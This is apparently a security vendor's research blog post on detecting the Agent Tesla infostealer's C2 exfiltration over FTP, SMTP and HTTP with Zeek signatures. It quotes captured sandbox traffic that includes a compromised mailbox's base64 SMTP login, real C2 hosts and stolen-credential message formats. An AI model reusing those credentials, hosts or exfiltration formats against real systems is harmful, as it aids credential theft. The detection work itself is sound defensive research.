CONTACT US
forrester wave report 2023

Close your ransomware case with Open NDR

SEE HOW

ad-nav-crowdstrike

Corelight now powers CrowdStrike solutions and services

READ MORE

ad-images-nav_0013_IDS

Alerts, meet evidence.

LEARN MORE ABOUT OUR IDS SOLUTION

ad-images-nav_white-paper

5 Ways Corelight Data Helps Investigators Win

READ WHITE PAPER

glossary-icon

10 Considerations for Implementing an XDR Strategy

READ NOW

ad-images-nav_0006_Blog

Don't trust. Verify with evidence

READ BLOG

video

The Power of Open-Source Tools for Network Detection and Response

WATCH THE WEBCAST

ad-nav-ESG

The Evolving Role of NDR

DOWNLOAD THE REPORT

ad-images-nav_0006_Blog

Detecting 5 Current APTs without heavy lifting

READ BLOG

g2-medal-best-support-spring-2024

Network Detection and Response

SUPPORT OVERVIEW

 

Detecting The Agent Tesla Malware Family

Welcome to the latest from Corelight Labs! This blog continues our tradition of picking a popular malware family from Any.Run and writing a detector for it! Trending consistently at #1 on Any.Run’s malware trends list, Agent Tesla uses multiple protocols to communicate with its C2 infrastructure, making it more difficult to detect robustly than a malware sample utilizing only one network protocol for its C2.

The behavior we’ll review here concerns samples sending information back to controllers via one-way traffic (“exfiltration”, or “exfil”). This is a tad different than the usual C2 command-and-control, which is bidirectional (the C2 server sends commands to the infected system, which sends back status and data). However, convention also applies the term C2 to exfil, so we’ll stick with it throughout this blog to stay consistent with prior discussions of this malware family. (Technically, Agent Tesla is classified as InfoStealer malware.)

According to Blackberry’s blog, there are four network protocols used for Agent Tesla’s C2: FTP, SMTP, HTTP, and Telegram. Our research of the public data at Any.Run confirms Blackberry’s findings; we also saw four C2 protocols.

You can download PCAPs of each C2 protocol at the following links:

We will discuss each C2 protocol in its own section below.

FTP C2

This was the first C2 protocol we discovered while browsing Any.Run. An example of an exfiltrated message (copied verbatim) from the first PCAP linked above uses a structured format we can search for:

    
     

Time: 03/07/2024 19:00:36<br>User Name: admin<br>Computer Name: USER-PC<br>OSFullName: Microsoft Windows 7 Professional <br>CPU: Intel(R) Core(TM) i5-6400 CPU @ 2.70GHz<br>RAM: 3071.49 MB<br><hr>Host: https://m.facebook.com/<br>Username: honey@pot.com<br>Password: honeypass356<br>Application: Chrome<br><hr>Host: https://m.facebook.com<br>Username: honey@pot.com<br>Password: honeypass356<br>Application: Firefox<br><hr>Host: 1.9.2...1.6.8...1...1<br>Username: honey@pot.com<br>Password: honeypass356<br>Application: Outlook<br><hr>

We can build a Zeek signature to detect the first three field names listed in the exfiltrated data from several samples we saw on Any.Run:

    
     

signature agenttesla-ftp-data {

    ip-proto == tcp

    payload /^Time:.*<br>User Name:.*<br>Computer Name:.*/

    eval AgentTesla::agenttesla_ftp_match    

}

 

Notice the signature must happen at the beginning of the connection and is signified with the caret, as this is unique to the FTP data transfer. When this FTP signature matches, it will run the following Zeek function to log a notice in notice.log:

    
     

# Signature match function for FTP

 

function agenttesla_ftp_match(state: signature_state, data: string): bool &is_used

     {

     local msg = "Potential AgentTesla C2 over FTP data with payload in the sub field.";

 

     NOTICE([$note=AgentTesla::C2_Traffic_Observed, $msg=msg, $sub=data,

           $conn=state$conn]);

 

     return T;

     }

 


1 Note that technically this caret is redundant because the signature payload must match from the beginning of the connection. We put the caret in here to clearly contrast the concepts in this FTP signature with the signature you’ll see in the next SMTP section.

The function to log a notice is “NOTICE” (see above). Zeek notices allow for a suppression interval, based on the “$identifier” field in the input record to the “NOTICE” function. In our example above, we did not use an “$identifier” value, so every matching instance is output to the notice.log file. Typically, authors who write detectors for CVE exploits and other non-malware-related detections will suppress on the orig_h and resp_h endpoint pair because the analyst usually only cares that an exploit was executed. In the case of malware analysis, we prefer to see all of the messages passed between the victim endpoints and the C2 infrastructure because, in many cases, we can decode/decrypt the payloads. Therefore, we do not suppress notices. Of course, we could create a new Zeek log to save this information, but there is some complexity involved with adding new logs, schemas, SIEMs, etc. when you go this route (a good topic for another time). Therefore, we use notice.log as our one and only log destination to save the exfiltrated payloads.

An example notice.log for this detection follows:

    
     

#separator \x09

#set_separator ,

#empty_field (empty)

#unset_field -

#path notice

#open 2024-06-10-21-01-38

#fields ts uid id.orig_h id.orig_p id.resp_h id.resp_p fuid file_mime_type file_desc proto note msg sub src dst p n peer_descr actions email_dest suppress_for remote_location.country_code remote_location.region remote_location.city remote_location.latitude remote_location.longitude

#types time string addr port addr port string string string enum enum string string addr addr port count string set[enum] set[string] interval string string string double double

1709838049.373142 CPhDKt12KQPUVbQz06 192.168.100.164 49210 143.95.79.226 44523 - - - tcp AgentTesla::C2_Traffic_Observed Potential AgentTesla C2 over FTP data with payload in the sub field. Time: 03/07/2024 19:00:36<br>User Name: admin<br>Computer Name: USER-PC<br>OSFullName: Microsoft Windows 7 Professional <br>CPU: Intel(R) Core(TM) i5-6400 CPU @ 2.70GHz<br>RAM: 3071.49 MB<br><hr>Host: https://m.facebook.com/<br>Username: honey@pot.com<br>Password: honeypass356<br>Application: Chrome<br><hr>Host: https://m.facebook.com<br>Username: honey@pot.com<br>Password: honeypass356<br>Application: Firefox<br><hr>Host: 1\x009\x002\x00.\x001\x006\x008\x00.\x001\x00.\x001<br>Username: honey@pot.com<br>Password: honeypass356<br>Application: Outlook<br><hr> 192.168.100.164 143.95.79.226 44523 - - Notice::ACTION_LOG (empty) 3600.000000 - - - - -

#close 2024-06-10-21-01-38

The source, destination, and exfiltrated message are listed above in bold in the log.

For the next protocol, SMTP, Agent Tesla uses a similar message structure, which allows us to write another Zeek signature.

SMTP C2

According to Blackberry, Sophos, and McAfee, SMTP appears to be the most widely used protocol for Agent Tesla’s C2 because it requires the least amount of work and the most security for the malware author. In the FTP example, the attacker needs an FTP server available, which could be taken down by law enforcement. But with SMTP, the malware only needs a compromised email address to exfiltrate the data.

We found the same Agent Tesla message format used in FTP pushed across an SMTP session, such as in this example from the third Any.Run sample linked at the beginning of this blog:

    
     

220-sg2plcpnl0242.prod.sin2.secureserver.net ESMTP Exim 4.96.2 #2 Tue, 04 Jun 2024 06:16:43 -0700 

220-We do not authorize the use of this system to transport unsolicited, 

220 and/or bulk e-mail.

EHLO User-PC

250-sg2plcpnl0242.prod.sin2.secureserver.net Hello User-PC [45.88.97.161]

250-SIZE 52428800

250-8BITMIME

250-PIPELINING

250-PIPECONNECT

250-AUTH PLAIN LOGIN

250-STARTTLS

250 HELP

AUTH login c2hpcHBpbmdAb2NlYW5za3lsb2dpc3RpY3MuaW4=

334 UGFzc3dvcmQ6

U2hpcHBpbmdAMjI0NTU0

235 Authentication succeeded

MAIL FROM:<shipping@oceanskylogistics.in>

250 OK

RCPT TO:<bkhin.supply@gmail.com>

250 Accepted

DATA

354 Enter message, ending with "." on a line by itself

MIME-Version: 1.0

From: shipping@oceanskylogistics.in

To: bkhin.supply@gmail.com

Date: 4 Jun 2024 14:16:45 +0100

Subject: PW_admin/USER-PC

Content-Type: text/html; charset=us-ascii

Content-Transfer-Encoding: quoted-printable

 

Time: 06/04/2024 14:16:41<br>User Name: admin<br>Computer Name: U=

SER-PC<br>OSFullName: Microsoft Windows 7 Professional <br>CPU: I=

ntel(R) Core(TM) i5-6400 CPU @ 2.70GHz<br>RAM: 3071.49 MB<br>IP A=

ddress: <br><hr>Host: https://m.facebook.com/<br>Username: honey@=

pot.com<br>Password: honeypass356<br>Application: Chrome<br><hr>H=

ost: https://m.facebook.com<br>Username: honey@pot.com<br>Passwor=

d: honeypass356<br>Application: Firefox<br><hr>Host: 1=009=002=00=

..=001=006=008=00.=001=00.=001<br>Username: honey@pot.com<br>Passw=

ord: honeypass356<br>Application: Outlook<br><hr>

 

.

250 OK id=1sEU1t-004oSu-0d

We’ve listed the exfiltrated message in bold, above. Notice it is the same message format as the FTP example. We will use a Zeek signature that is similar to the FTP example, but since the Agent Tesla message can come later in an SMTP session, we do not anchor the regular expression to the beginning of the connection:

    
     

signature agenttesla-generic {

   ip-proto == tcp

   payload /.+Time:.* User Name:.* Computer Name:.*/

   eval AgentTesla::agenttesla_match

}

Notice how the “.+” in the regular expression detects the exfiltrated message anywhere but at the beginning of the connection. When the signature above is detected, the following Zeek function runs to generate a notice in notice.log:

    
     

# Signature match function for SMTP/Generic

function agenttesla_match(state: signature_state, data: string): bool &is_used

     {

     local msg = "Potential AgentTesla C2 with payload in the sub field.";

 

     # Do not suppress notices.

     NOTICE([$note=AgentTesla::C2_Traffic_Observed, $msg=msg, $sub=data,

           $conn=state$conn]);

 

     return T;

     }

 

An example notice.log is as follows:

 

#separator \x09

#set_separator ,

#empty_field (empty)

#unset_field -

#path notice

#open 2024-06-11-16-14-38

#fields ts uid id.orig_h id.orig_p id.resp_h id.resp_p fuid file_mime_type file_desc proto note msg sub src dst p n peer_descr actions email_dest suppress_for remote_location.country_code remote_location.region remote_location.city remote_location.latitude remote_location.longitude

#types time string addr port addr port string string string enum enum string string addr addr port count string set[enum] set[string] interval string string string double double

1717511243.494718 CAvUKGaEgLlR4i6t2 192.168.100.122 49713 208.91.198.143 587 - - - tcp AgentTesla::C2_Traffic_Observed Potential AgentTesla C2 with payload in the sub field. Time: 06/04/2024 14:27:19<br>User Name: admin<br>Computer Name: D=\x0d\x0aESKTOP-JGLLJLD<br>OSFullName: Microsoft Windows 10 Pro<br>CPU: In=\x0d\x0atel(R) Core(TM) i5-6400 CPU @ 2.70GHz<br>RAM: 4090.45 MB<br>IP Ad=\x0d\x0adress: 181.214.173.110<br><hr>Host: https://google.com<br>Usernam=\x0d\x0ae: admin<br>Password: admin<br>Application: Firefox<br><hr>Host: =\x0d\x0aWindowsLive:target=3Dvirtualapp/didlogical=00<br>Username: 02lcqq=\x0d\x0ajzqzglscqx=00<br>Password: <br>Application: Windows Credential<br=\x0d\x0a><hr> 192.168.100.122 208.91.198.143 587 - - Notice::ACTION_LOG (empty) 3600.000000 - - - - -

#close 2024-06-11-16-14-38

Next, we will look at HTTP, a protocol where Agent Tesla diverts from the message structure we saw in the FTP and SMTP examples.

HTTP C2

The fourth Any.Run PCAP linked at the beginning of this blog has an Agent Tesla HTTP C2 session within it, as follows:

    
     

POST /sew/inc/10a5031d37bc79.php HTTP/1.1

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:99.0) Gecko/20100101 Firefox/99.0

Content-Type: application/x-www-form-urlencoded

Host: originwealth.ydns.eu

Content-Length: 460

Expect: 100-continue

Connection: Keep-Alive


HTTP/1.1 100 Continue


p=r8VPEPG%2BIsO5/Zrs%2BhcieY3AKFwIzFYeqCF6JUBb55GWeL2RfzoimcSDkWbxLRNDn9tbvINvCrNN4JDbi9kLVc5o33QxGbQWVMyGTNf4l4jkLJnBMyk6EDxTHjyqN8t%2Bo1qnXO90x0po6/c4iwSQbsUyAmemvk1Cvpnj6yMYbtNzLDQZ2BDNacVckhB%2BwY8PaaKa/GfMNixqt17V74Tuhkq78tzr%2BgMhy1Azs6gZF/%2B0XP7CYTHUXmZREoLEytBHyyhQUUqA3Tk11g9j8HWZxR1RJ2H2pf%2Bh4XCFxMrdHlg8Ux48qjfLfqNap1zvdMdKaOv3OIsEkG7FMgJnpr5NQr6Z4%2BsjGG7Tcyw0GdgQzWmF7tfzvlwrHd3Xh/tJ7WdI9fsDg21cZKm3LH9hI1ELh9%2BCkNsVqkDs34KQ2xWqQOx8SxirD439xQ==HTTP/1.1 200 OK

Date: Sun, 03 Mar 2024 22:57:57 GMT

Server: Apache/2.4.53 (Win64) OpenSSL/1.1.1n PHP/7.4.29

X-Powered-By: PHP/7.4.29

Content-Length: 50

Keep-Alive: timeout=5, max=100

Connection: Keep-Alive

Content-Type: text/html; charset=UTF-8


[["Firefox","https://google.com","admin","admin"]]

Red signifies the data transferred from the client to the server, and blue represents the data transferred from the server to the client. Agent Tesla uses an HTTP form in the session above, and the structure of the exfiltrated message is:

    
     p=<SOME_LONG_BASE64_STRING>
    
  

Base64 strings contain the following encoded characters: A-Z, a-z, +, and /. Here, the plus sign is encoded as %2B in the HTTP data. Therefore, we can search for this HTTP form C2 with the following signature:

    
     

signature agenttesla-http {

    ip-proto == tcp

    payload /^POST .*\x0d\x0a\x0d\x0ap=([A-Za-z0-9\/]|%2B){4}{75,}((([A-Za-z0-9\/]|%2B){3}=)|(([A-Za-z0-9\/]|%2B){2}==))?/

    eval AgentTesla::agenttesla_http_match    

}

The following Zeek function runs every time this signature is matched:

    
     

# Signature match function for HTTP

function agenttesla_http_match(state: signature_state, data: string): bool &is_used

     {

     local msg = "Potential AgentTesla C2 over HTTP with payload in the sub field.";

 

     # Do not suppress notices.

     NOTICE([$note=AgentTesla::C2_Traffic_Observed, $msg=msg, $sub=data,

           $conn=state$conn]);

 

     return T;

     }

The function above generates the notice.log below:

    
     

#separator \x09

#set_separator ,

#empty_field (empty)

#unset_field -

#path notice

#open 2024-06-11-16-14-37

#fields ts uid id.orig_h id.orig_p id.resp_h id.resp_p fuid file_mime_type file_desc proto note msg sub src dst p n peer_descr actions email_dest suppress_for remote_location.country_code remote_location.region remote_location.city remote_location.latitude remote_location.longitude

#types time string addr port addr port string string string enum enum string string addr addr port count string set[enum] set[string] interval string string string double double

1709506677.204658 CCk2V03QgWwIurU3f 192.168.100.134 49754 78.41.139.12 80 - - - tcp AgentTesla::C2_Traffic_Observed Potential AgentTesla C2 over HTTP with payload in the sub field. p=r8VPEPG%2BIsO5/Zrs%2BhcieY3AKFwIzFYeqCF6JUBb55GWeL2RfzoimcSDkWbxLRNDn9tbvINvCrNN4JDbi9kLVc5o33QxGbQWVMyGTNf4l4jkLJnBMyk6EDxTHjyqN8t%2Bo1qnXO90x0po6/c4iwSQbsUyAmemvk1Cvpnj6yMYbtNzLDQZ2BDNacVckhB%2BwY8PaaKa/GfMNixqt17V74Tuhkq78tzr%2BgMhy1Azs6gZF/%2B0XP7CYTHUXmZREoLEytBHyyhQUUqA3Tk11g9j8HWZxR1RJ2H2pf%2Bh4XCFxMrdHlg8Ux48qjfLfqNap1zvdMdKaOv3OIsEkG7FMgJnpr5NQr6Z4%2BsjGG7Tcyw0GdgQzWmF7tfzvlwrHd3Xh/tJ7WdI9fsDg21cZKm3LH9hI1ELh9%2BCkNsVqkDs34KQ2xWqQOx8SxirD439xQ== 192.168.100.134 78.41.139.12 80 - - Notice::ACTION_LOG (empty) 3600.000000 - - - - -

#close 2024-06-11-16-14-37

The data appears to be encrypted inside base64, so decoding the base64 results is not immediately helpful to the incident responder without a decryption key.

Telegram C2

The last protocol we know Agent Tesla to use for C2 is Telegram, a widely used messaging service. Since all of the data is exfiltrated over HTTPS to Telegram’s API servers, it is difficult, if not impossible, to tell AgentTesla C2 traffic apart from benign Telegram messages.

We checked the JA3 value of Agent Tesla against JA3 values we found logged on a real university network and determined the JA3 value could not be used as part of the detector because many other benign connections would match, too. Today, Telegram is the most difficult-to-detect C2 method in AgentTesla.

Conclusion

We were able to detect AgentTesla C2 in three out of four protocols we know it to use. FTP and SMTP C2 were very similar Zeek signature detections, while HTTP required us to write a slightly longer signature to detect the base64 data.

If you would like to install the source code discussed throughout this blog, you can do so from the following link:

https://github.com/corelight/zeek-agenttesla-detector

Recent Posts